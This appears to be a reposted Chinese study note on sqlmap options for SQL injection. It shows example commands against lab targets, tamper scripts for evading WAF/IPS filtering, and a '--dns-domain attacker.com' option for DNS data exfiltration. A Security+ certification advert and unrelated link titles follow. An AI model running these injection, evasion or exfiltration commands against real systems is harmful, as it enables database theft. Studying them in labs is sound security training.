【安全牛学习笔记】SQLMAP自动注入-INHECTION、DETECTION、TECHNIQUES

来源:互联网 发布:标准c语言void main 编辑:程序博客网 时间:2024/05/22 00:05

SQLMAP自动注入04-----INJECTION

-p

    指定扫描的参数,使--level失效

    -p "user-agent,referer"

--skip

    排除指定的扫描参数

    --level=5 --skip="id,user-agent"

URI注入点

    sqlmap -u "http://targeturl/param1/value1*/param2/value2/"

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --dbs

SQLMAP自动注入04-----INJECTION

--dbms

    MySQL<5.0>

    Oracle<11i>

    Microsoft SQL Server<2005>

    PostgreSQL

    Microsoft Access

    SQLite

    Firebird

    Sysbase

    SAP MaxDB

    DBS

SQLMAP自动注入04-----INJECTION

--os

    Linux

    Windows

--invalid-bignum / --invalid-logical

    通常sqlmap使用负值参数取值失效id=13->id=-13

    bignum使用大数使参数值失效id=99999999

    Logical使用布尔判断取值失效id=13 AND 18=19

--no-cast

    榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果

    老版本mysql数据库需要开启此开关

SQLMAP自动注入04-----INJECTION

--no-escape

    出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmaps使用

    char()编码逃逸的方法替换字符串

    SELECT 'foo'->SELECT CHAR(102)+CHAR(111)+CHAR(111)

    本参数讲关闭此功能

--prefix / --suffix

    query="SELECT * FROM user WHERE id=('",$_GET['id',"')LIMIT 0,1";

    sqlmap -u

    "http://192.168.136.1.121/sqlmap/sysql/get_str_brackets.php?id=1" -p id--

    prefix"')" --suffix "AND('abc'='abc"

    query="SELECT * FROM users WHERE id=('1') <PAYLOAD> AND

    ('adc'='abc')LIMIT 0,1";

SQLMAP自动注入04-----INJECTION

--tamper

    混淆脚本,用于绕过应用层过滤、IPS、WAF

    sqlmap -u "http://1.1.1.1/a.php?id=1"--

    tamper="tamper/benween.py,tamper/randomcase.py,tamper/space2comment.py" -v 3

root@R:~# dpkg -L sqlmap | grep tamper

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" --dbs

SQLMAP自动注入05-----DETECTION

--level

    1-5级(默认 1)

    /usr/share/sqlmap/xml/payloads

--risk

    1-4(默认 1/无害)

    Risk升高可造成数据被篡改等风险(update)

--string,--not-string,--regexp,--code,--text-only,--titles

    页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有

    些页面随时间阈值变化,此时需要人为指定标识真假的字符串,

root@R:~# cd /usr/share/sqlmap/xml/payloads

root@R:/usr/share/sqlmap/xml/payloads# ls

01_boolean_blind.xml  02_error_based.xml  03_inline_query.xml  04_stacked_queries.xml

05_time_blind.xml     06_union_query.xml

SQLMAP自动注入06-----TECHNIQUES

默认使用全部技术

B:Boolean-based blind

E:Error-based

U:Union query-based

S:Stacked queries(文件系统、操作系统,注册表必须)

T:Time-based blind

SQLMAP自动注入06-----TECHNIQUES

--time-sec

    基于时间的注入检测响应延迟时间

--union-cols

    默认联合查询1-10列,随--level增加最多支持50列

    --union-cols 6-9

--union-char

    联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动执行数值

    --union-char 123

SQLMAP自动注入06-----TECHNIQUES

--dns-domain

    攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度

    --dns-domain attacker.com

--second-order

    在一个页面注入的结果,从另一个页面体现出来

    --second-order http://1.1.1.1/b.php

SQLMAP自动注入07-----FINGERPRINT

-f,--fingerprint,-b,--banner

    数据库管理系统指纹信息

    DBMS,操作系统,架构,补丁

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂


Security+认证为什么是互联网+时代最火爆的认证?

      牛妹先给大家介绍一下Security+


        Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

       通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?  

       原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

      目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

       原因二: IT运维人员工作与翻身的利器。

       在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

        原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

        在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。


阅读全文
0 0
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 超市预付卡现超市停业怎么办? 利群购物卡丢了怎么办 利群金卡丢了怎么办 坐飞机洗漱用品超过规定怎么办 请律师团了解后怎么办 三星s9开不了机怎么办 三星手机开不了机了怎么办 安卓手机音响进水了怎么办 音响不读u盘怎么办 虎牌水壶显示f2怎么办 海尔冰箱门关不严没吸力怎么办 忘记京东金融账号怎么办 京东账号手机号已停用怎么办 京东账户忘了怎么办 京东登录名忘了怎么办? 京东已经发货了怎么办 苹果7p黑亮掉漆怎么办 淘宝卖家不肯退运费怎么办 健身付款收据丢了怎么办 收据丢了怎么办能退款 苹果售后不承认基带问题怎么办 电话卡欠费了不用了怎么办 软件移不到sd卡怎么办 手机显示sd卡受损怎么办 美的冰箱出现e6怎么办 美的冰箱显示e6怎么办 冰箱电脑板坏了怎么办 笔记本网线接口坏了怎么办 蓝p吃了一片 怎么办 sd卡上锁了忘记密码怎么办 手机sd卡被锁定怎么办 冰箱制冷管堵了怎么办 冰箱的管子破了怎么办 淘宝京东e卡冻结怎么办 苏宁任性付冻结怎么办 苏宁订单删除了怎么办 联通销户话费有余额怎么办 暖气改地热不热怎么办 老楼房暖气不热怎么办 4s店修不好车怎么办 苏宁的发票丢了怎么办